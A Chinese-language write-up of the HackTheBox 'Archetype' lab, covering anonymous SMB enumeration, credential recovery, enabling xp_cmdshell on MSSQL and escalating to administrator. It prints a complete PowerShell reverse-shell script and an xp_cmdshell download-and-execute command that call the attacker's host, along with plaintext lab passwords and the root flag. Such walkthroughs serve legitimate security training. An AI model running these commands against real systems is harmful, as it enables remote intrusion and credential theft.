【渗透测试】hackthebox靶场之Archetype

admin 2021年5月11日18:49:47评论62 views字数 2397阅读7分59秒阅读模式
【渗透测试】hackthebox靶场之Archetype

0x01端口扫描

1.     目标:10.10.10.27


【渗透测试】hackthebox靶场之Archetype

2.     连接上ovpn后,开始对目标进行扫描端口,使用namp 10.10.10.27扫描获取服务和版本

【渗透测试】hackthebox靶场之Archetype

3.     我们可以知道开放了135,139445端口,系统版本是windows2008。刚刚开始做这个靶场时候看到445我就想到了永恒之蓝漏洞,用msf漏洞利用后,我还是太天真了。

4.     我们可以测试445端口的smb是否支持匿名访问,可能默认开启允许所有人无需身份验证就可以访问共享资源。我们使用

smbclient -N -L //10.10.10.27/

进行匿名登录并且获取共享资源。

【渗透测试】hackthebox靶场之Archetype

在共享资源列表里发现了一个backups的目录,我们访问一下,然后dir查看目录,发现有个文件,我们get到本地。

【渗透测试】hackthebox靶场之Archetype

我们cat查看一下

【渗透测试】hackthebox靶场之Archetype

发现是一个包含本地windows用户的凭据,user ID=ARCHETYPEsql_svc,Password=M3g4c0rp123,其中ARCHETYPE是主机名,而sql_svc代表的是具有数据库登录权限的操作系统的用户名,这时候我们就可以连接靶机的数据库进行连接了。


0x02连接数据库并调用系统命令

1.我们下载并安装impacket工具

git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketpip3 install .


【渗透测试】hackthebox靶场之Archetype

2. 然后进行连接数据库,这时候需要输入密码,把刚刚获取到的Password写上去进行连接。

cd examplesmssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth


【渗透测试】hackthebox靶场之Archetype

然后输入
SELECT IS_SRVROLEMEMBER('sysadmin')
来判断是否有sysadmin权限,如显示1就是有,我们就可以使用xp_cmdshell来进行远程代码执行命令。

【渗透测试】hackthebox靶场之Archetype

3. 输入命令:

 

EXEC sp_configure 'Show Advanced Options', 1;   \使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项reconfigure; \确认上面的操作sp_configure;    \查看当前sp_configure配置情况EXEC sp_configure 'xp_cmdshell'1\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令reconfigure;     \确认上面的操作xp_cmdshell "whoami" \在靶机上调用cmdshell执行whoami


【渗透测试】hackthebox靶场之Archetype

这就说明当前数据库的进程的操作系统的用户是archetypesql_svc



0x03获取普通用户权限

我们现在已经拥有了数据库的shell权限,这时候可以建立powershell反向shell文件,写完后放入/var/www/html上,我们建立一个web服务可供靶机下载shell文件:

【渗透测试】hackthebox靶场之Archetype

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.158",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


注意ip地址改为kali的主机地址10.10.14.158,端口设定为443

【渗透测试】hackthebox靶场之Archetype

然后开启80监听以及443监听,等待靶机反向连接shell文件

【渗透测试】hackthebox靶场之Archetype

回到数据库shell中,输入命令下载shell并执行:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.158/shell.ps");"

【渗透测试】hackthebox靶场之Archetype

发现已经成功接受到请求,此时使用ipconfig可以查看到主机IP地址等信息

【渗透测试】hackthebox靶场之Archetype

在一通乱找之后发现flag在C:Userssql_svcDesktopuser.txt文件上,使用type访问。

【渗透测试】hackthebox靶场之Archetype


0x04进一步提升权限

我们可以发现sql_svc同时是操作系统普通用户和数据库用户,可以去查找频繁访问的文件和执行的命令,输入命令访问powreshell历史记录文件

type C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt

【渗透测试】hackthebox靶场之Archetype

我们可以看到它把backups文件映射到了T盘,后面跟上它的管理员用户名以及密码,所以我们可以使用刚刚下载的impacket工具去提权限,输入密码MEGACORP_4dm1n!!

【渗透测试】hackthebox靶场之Archetype


然后找了一通后看桌面上有个root.txt,type查看一下,flag就是b91ccec3305e98240082d4474b848528


【渗透测试】hackthebox靶场之Archetype

【渗透测试】hackthebox靶场之Archetype

提交成功!

【渗透测试】hackthebox靶场之Archetype




本文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Archetype

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月11日18:49:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】hackthebox靶场之Archetypehttps://cn-sec.com/archives/370538.html

发表评论

匿名网友 填写信息